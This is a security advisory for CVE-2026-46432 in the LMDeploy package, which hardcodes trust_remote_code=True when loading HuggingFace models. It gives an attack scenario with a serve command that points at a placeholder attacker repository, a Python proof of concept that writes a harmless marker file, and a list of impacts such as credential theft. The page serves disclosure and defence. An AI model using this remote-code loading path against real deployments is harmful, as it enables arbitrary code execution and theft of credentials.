CVE-2026-46432: LMDeploy: Arbitrary code execution via hardcoded trust_remote_code=True in lmdeploy model initialization
Summary lmdeploy hardcodes trustremotecode=True in multiple HuggingFace model-loading call sites. The affected code paths are in: The vulnerable call sites pass trustremotecode=True into HuggingFace Transformers APIs such as AutoConfig.frompretrained(), PretrainedConfig.getconfigdict(), and GenerationConfig.frompretrained().
Published May 21, 2026 · Updated Jun 10, 2026
Affected packages
lmdeploy
- Ecosystem
- PyPI
- Affected
- < 0.13.0
- Fixed in
- 0.13.0
- Check
pip show lmdeploy
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
lmdeploy hardcodes trust_remote_code=True in multiple HuggingFace model-loading call sites.
The affected code paths are in:
lmdeploy/archs.py
lmdeploy/utils.pyThe vulnerable call sites pass trust_remote_code=True into HuggingFace Transformers APIs such as AutoConfig.from_pretrained(), PretrainedConfig.get_config_dict(), and GenerationConfig.from_pretrained().
Because the model path is supplied by the operator or deployment configuration, an attacker who can control the model_path used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository.
Successful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process.
Affected version
Confirmed affected:
lmdeploy <= 0.12.3The issue was verified on v0.12.3 and on main.
Vulnerable code
Confirmed call sites:
lmdeploy/archs.py:154
AutoConfig.from_pretrained(..., trust_remote_code=True)
lmdeploy/archs.py:157
PretrainedConfig.get_config_dict(..., trust_remote_code=True)
lmdeploy/utils.py:225
GenerationConfig.from_pretrained(..., trust_remote_code=True)The vulnerable pattern is:
AutoConfig.from_pretrained(model_path, trust_remote_code=True)and:
GenerationConfig.from_pretrained(path, trust_remote_code=True)The risk is that trust_remote_code=True is enabled unconditionally. Users are not required to explicitly opt in through a CLI flag or configuration option.
Attack scenario
- An attacker obtains the ability to control or modify the model path used by an lmdeploy deployment. Examples include deployment configuration access, CI/CD configuration access, Kubernetes or container configuration access, or a managed environment where users can submit model IDs for serving.
- The attacker sets the model path to an attacker-controlled HuggingFace repository, for example:
attacker-org/malicious-model- The lmdeploy serving process starts with that model path:
lmdeploy serve api_server attacker-org/malicious-model- During model initialization, lmdeploy calls HuggingFace Transformers APIs with
trust_remote_code=True. - Transformers loads and executes remote Python code from the attacker-controlled model repository.
- The payload runs with the privileges of the lmdeploy serving process.
Why this is security-sensitive
trust_remote_code=True is a dangerous HuggingFace option because it allows model repositories to execute custom Python code during model loading.
In lmdeploy, this option is hardcoded at multiple call sites. This removes the explicit trust decision from the user or deployment operator. A safer design would require an explicit CLI flag or configuration option such as --trust-remote-code.
lmdeploy is commonly used as a model serving daemon. The serving process may have access to model weights, GPU resources, API credentials, cloud credentials, request data, and internal network resources.
Proof of concept
The following PoC demonstrates the vulnerable primitive in a local, non-destructive way. It simulates lmdeploy calling a HuggingFace model-loading path with trust_remote_code=True and shows that remote model code would execute during initialization.
#!/usr/bin/env python3
from __future__ import annotations
import argparse
import importlib.util
import os
import sys
import tempfile
from pathlib import Path
MARKER = Path("/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF")
MALICIOUS_MODEL = "attacker-org/malicious-model"
def simulate_lmdeploy_model_load(model_path: str) -> None:
"""
Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded.
Real vulnerable pattern:
AutoConfig.from_pretrained(model_path, trust_remote_code=True)
GenerationConfig.from_pretrained(path, trust_remote_code=True)
When trust_remote_code=True, a malicious HuggingFace model repository can
execute custom Python code during loading.
"""
fake_model_dir = Path(tempfile.mkdtemp(prefix="fake_lmdeploy_model_"))
module_name = model_path.split("/")[-1].replace("-", "_")
modeling_file = fake_model_dir / f"modeling_{module_name}.py"
payload = f'''
import os
from pathlib import Path
Path("{MARKER}").write_text(
"lmdeploy trust_remote_code execution confirmed\\n"
f"model_path={model_path!r}\\n"
f"pid={{os.getpid()}} euid={{os.geteuid()}}\\n"
)
'''
modeling_file.write_text(payload)
spec = importlib.util.spec_from_file_location(f"modeling_{module_name}", modeling_file)
assert spec is not None and spec.loader is not None
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("--model-id", default=MALICIOUS_MODEL)
args = parser.parse_args()
if MARKER.exists():
MARKER.unlink()
print(f"[*] Simulating lmdeploy loading model: {args.model_id}")
print("[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths")
simulate_lmdeploy_model_load(args.model_id)
if MARKER.exists():
print("[+] Code execution confirmed")
print(MARKER.read_text())
return 0
print("[-] Marker file was not created", file=sys.stderr)
return 1
if __name__ == "__main__":
raise SystemExit(main())Expected result:
[+] Code execution confirmedThe marker file is written to:
/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOFImpact
An attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization.
The attacker may be able to:
- Read files accessible to the lmdeploy process.
- Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys.
- Modify model-serving behavior or tamper with responses.
- Execute arbitrary operating-system commands.
- Access request data or internal service credentials available to the serving process.
- Cause denial of service by crashing or destabilizing the serving daemon.
- Pivot to internal services reachable from the lmdeploy host or container.
Credited to beanduan22.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2025-66455
LMDeploy has Remote Code Execution by Pickle Deserialization via handle_zmq_recv in lmdeploy/lmdeploy/pytorch/disagg/conn/engine_conn.py
critical9.8Sep 18, 2026CVE-2026-33625
LMDeploy vulnerable to arbitrary code execution via eval() of untrusted quant_dtype in model config loading
high8.8Sep 18, 2026CVE-2026-123818
LMDeploy has an SSRF bypass
high7.5Sep 18, 2026CVE-2025-59953
LMdeploy has Remote Code Execution by Pickle Deserialization via zmq_rpc.call_and_response() in InterLM/lmdeploy
critical9.8Sep 16, 2026CVE-2026-46517
lmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out
high7.8May 21, 2026CVE-2026-33626
LMDeploy has Server-Side Request Forgery (SSRF) via Vision-Language Image Loading
high7.5No fixApr 21, 2026
